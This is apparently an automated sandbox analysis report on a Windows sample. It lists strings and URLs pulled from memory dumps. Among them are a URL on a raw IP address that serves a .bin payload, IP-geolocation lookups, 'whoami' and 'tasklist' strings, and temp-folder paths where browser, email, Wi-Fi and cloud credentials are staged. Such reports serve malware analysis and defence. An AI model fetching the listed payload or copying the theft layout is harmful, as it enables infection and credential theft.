validc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\reqwest-0.12.28\src\redirect.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\timeout\mod.rs" Heuristic match: "reqwest::errorsourcecannot poll select twicec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-util-0.3.34\src\future\select.rs" Heuristic match: "`ready` polled after completion/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\future\ready.rs" Heuristic match: "retrying requires cloned requestc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\future.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.12.1\src\buf\take.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.12.1\src\buf\chain.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\common\lazy.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\service\oneshot.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.11.0\src\common\buf.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\digest.rs" Heuristic match: "invalidencodinginconsistentcomponentsc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\curve25519\scalar.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\ec\curve25519\ed25519\signing.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\digest\dynstate.rs" Heuristic match: "unspecifiedc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ring-0.17.14\src\signature.rs" Heuristic match: "tryfromsliceerrorc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\inner_connection.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\busy.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\rusqlite-0.37.0\src\statement.rs" Heuristic match: "{invalid syntax}{recursion limit reached}?`fmt::error`s should be impossible without a `fmt::formatter`/rust/deps\rustc-demangle-0.1.27\src\v0.rs" Heuristic match: " -fn() -> + punycode{.llvm./rust/deps\rustc-demangle-0.1.27\src\lib.rs" Heuristic match: "/rust/deps\rustc-demangle-0.1.27\src\legacy.rs" Heuristic match: "sizelimitexhaustedparseinterror/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\ops\function.rs" Heuristic match: "assertion failed: pem.len() <= u32::max_value() as usizec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\schannel-0.1.29\src\cert_context.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\schannel-0.1.29\src\alpn_list.rs" Heuristic match: "0123456789abcdefc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.151\src\read.rs" Heuristic match: "at line c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.151\src\error.rs" Heuristic match: "fmt errorc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\serde_json-1.0.151\src\value\index.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\itoa-1.0.18\src\lib.rs" Heuristic match: "127.0.0.1:34254c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\socket2-0.6.5\src\sys\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\process\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\once.rs" Heuristic match: "}/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\btree\node.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\btree\navigate.rs" Heuristic match: "capacity overflow/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\vec\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\io\stdio.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\pal\windows\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\args\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\panicking.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\btree\map\entry.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\process\windows\child_pipe.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\env.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\id.rs" Heuristic match: "too many running threads in thread scope/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\scoped.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\stdio\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\thread\windows.rs" Heuristic match: "too many active read locks on rwlock/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\sync\rwlock\futex.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\ffi\os_str.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\path.rs" Heuristic match: "assertion failed: self.is_code_point_boundary(new_len)/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\wtf8\mod.rs" Heuristic match: "rust_lib_backtracerust_backtrace\.lock count overflow in reentrant mutex/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\reentrant_lock.rs" Heuristic match: "advancing ioslice beyond its length/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\io\io_slice\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\fs\windows.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\rt.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\..\..\backtrace\src\dbghelp.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\..\..\backtrace\src\symbolize\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\helpers\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\process\mod.rs" Heuristic match: "lazylock instance has previously been poisoned/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\lazy_lock.rs" Heuristic match: "use of std::thread::current() is not possible after the thread's local data has been destroyed/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\current.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\env\windows.rs" Pattern match: "cmd.exe/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\thread_local\destructors\list.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\io\error\windows.rs" Heuristic match: "assertion failed: len >= size_of::()/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\net\connection\socket\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\pal\windows\winsock.rs" Heuristic match: "failed to spawn thread/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\functions.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\pal\windows\time.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\backtrace.rs" Heuristic match: "wouldblockthread name may not contain interior null bytes/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\thread.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\multi_thread\queue.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sys\thread_local\native\lazy.rs" Heuristic match: "core missingc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\current_thread\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\local.rs" Heuristic match: "cannot start a runtime from within a runtime. this happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b" Heuristic match: "rust_min_stackc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\context\current.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\multi_thread\worker.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\io\poll_evented.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\io\read_buf.rs" Heuristic match: "assertion failed: curr.is_join_waker_set()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\task\state.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\multi_thread\park.rs" Heuristic match: "joinhandle polled after completionc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\task\core.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\loom\std\mod.rs" Heuristic match: "assertion failed: c.runtime.get().is_entered()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\context\runtime.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\batch_semaphore.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\util\wake_list.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\time\sleep.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\time\interval.rs" Heuristic match: "assertion failed: sharded_size.is_power_of_two()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\util\sharded_list.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\time\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\handle.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\net\tcp\stream.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\net\windows\named_pipe.rs" Heuristic match: "rng seed generator is internally corruptc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\util\rand\rt.rs" Heuristic match: "a tokio 1.x context was found, but it is being shutdown.c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\io\driver.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\task\list.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\time\wheel\mod.rs" Heuristic match: "assertion failed: self.tail.is_none()c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\util\linked_list.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\time\wheel\level.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\metrics\worker.rs" Heuristic match: "cannot drop a runtime in a context where blocking is not allowed. this happens when a runtime is dropped from within an asynchronous context.c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\blocking\shutdown.rs" Heuristic match: "expected multithread schedulerc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\multi_thread\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\defer.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\io\registration.rs" Heuristic match: "mark_pending called when the timer entry is in an invalid statec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\time\entry.rs" Heuristic match: "not a currentthread handlec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\scheduler\mod.rs" Heuristic match: "threads should not terminate unexpectedly/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\thread\lifecycle.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\park.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\notify.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\sync\oneshot.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\task\harness.rs" Heuristic match: "[internal exception] blocking task ran twice.c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\blocking\task.rs" Heuristic match: "the timer is shutdown, must be called from the context of tokio runtimetimer is at capacity and cannot create a new entrytimer duration exceeds maximum durationc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\time\instan" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\runtime\blocking\schedule.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.53.1\src\net\addr.rs" Heuristic match: "emptyinvaliddigitposoverflownegoverflowzeronotapoweroftwo/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\time.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tower-0.5.3\src\retry\budget\tps_budget.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\sync.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.5.0\src\header\map.rs" Heuristic match: "a formatting trait implementation returned an error when the underlying stream did not/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\io\mod.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\str\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\handshake\client.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\protocol\mod.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\protocol\frame\frame.rs" Heuristic match: "bug: opcode out of rangec:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tungstenite-0.28.0\src\protocol\frame\coding.rs" Heuristic match: "datacontrola display implementation returned an error unexpectedly/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\string.rs" Heuristic match: "..c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\parser.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\lib.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\url-2.5.8\src\host.rs" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\form_urlencoded-1.2.2\src\lib.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\slice\index.rs" Heuristic match: "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\core\src\str\pattern.rs" Heuristic match: "emptyhostidnaerrorinvalidportinvalidipv4addressinvalidipv6addressinvaliddomaincharacterrelativeurlwithoutbaserelativeurlwithcannotbeabasebasesethostoncannotbeabaseurloverflowc:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\utf-8-0.7.6\sr" Heuristic match: "c:\users\admin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\want-0.3.1\src\lib.rs" Heuristic match: "c;.ms" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104.&click" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257" Pattern match: "http://go.microsoft.com/fwlink/?linkid=291257.s" Pattern match: "http://www.w3.org/xml/1998/namespace..the" Pattern match: "http://www.w3.org/2000/xmlns/" Pattern match: "http://www.w3.org/xml/1998/namespace" Pattern match: "http://www.w3.org/1999/xlink.{text" Pattern match: "http://go.microsoft.com/fwlink/?linkid=247104" Pattern match: "go.microsoft.com/fwlink/?linkid=109695&result=block&t=%1&url=%2" Pattern match: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin?name=xyz" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/plugin" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/config/service" Pattern match: "http://[1::2]:80/wsman" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Pattern match: "http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd" Heuristic match: "for example, for a target computer name myserver.domain.com, the spn can be one of the following: wsman/myserver.domain.com or wsman/*.domain.com" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624361" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624359" Pattern match: "http://go.microsoft.com/fwlink/?linkid=624360" Heuristic match: "treenode.textcontent = '" - Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006124.00000002.277688.F7740000.00000004.mdmp") Found URL "http://107.175.82.242:9000/wilow/uzbektajik.bin" - Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp") Found URL "http://107.175.82.242:9000/wilow/uzbektajik.bin" - Source: "00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006552.00000001.275090.9E150000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?ezation" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]js-=2.5.29.10i" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3rszysil" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnrasmmasmm@_=51.3.6.1.4.1.311.60.3.11.3.132.0.32ecdp1.3.132.0.30ecdp1.3.132.0.35ecdp" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006552.00000001.275090.A0390000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006552.00000001.275090.A0456000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006700.00000000.274156.BB370000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006700.00000001.276077.BB370000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006700.00000002.277998.BB370000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006976.00000000.274085.40540000.00000004.mdmp") Found URL "http://ocsp.digicert.com/strongly-framedrequest-methodpostresponse-headhttp/1.1" - Source: "00000000-00006976.00000000.274085.40573000.00000004.mdmp") Found URL "https://fpt.microsoft.com/predictor::seenpredictor::resource-countpredictor::https://fpt.microsoft.com/1,1,1531830467,4096p&n1p'n1" - Source: "00000000-00006976.00000000.274085.40573000.00000004.mdmp") Found URL "http://ip-api.com/json/?fields=countrycodedge\user" - Source: "00000000-00006976.00000000.274085.40573000.00000004.mdmp") Found URL "http://ip-api.com/json/?fields=countrycodeer" - Source: "00000000-00006976.00000000.274085.40573000.00000004.mdmp") Found URL "http://ip-api.com/json/?fields=countrycodec:\users\hapubws\appdata\local\mozilla\firefox\profilespqu@c:\users\hapubws\appdata\local\microsoft\onenote\16.0ac:\users\hapubws\appdata\local\microsoft\onenote\16.0ta\edge\user" - Source: "00000000-00006976.00000000.274085.40573000.00000004.mdmp") Found URL "http://entriesecurrententriesc0.0.0.0us_0header0doomed/windir0cachefirefoxwhoami0tasklistheadervepath=cacheowetmplict=backup0firefoxecache2edus.0hlogsole=chatapps0.0.0.0http://defaultpublic=p^^@c:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\chatappsentsnc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\browsers\c:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\emailclientscc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\browsers\c:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\environmentc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\privileges0c:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\firefoxmentc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\cloudcredentialsnc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\wifigc:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\*c:\users\hapubws\appdata\local\temp\rxclient_1792193633610221700\output\*c:\users\hapubws\appdata\local\temp\rxclient_17921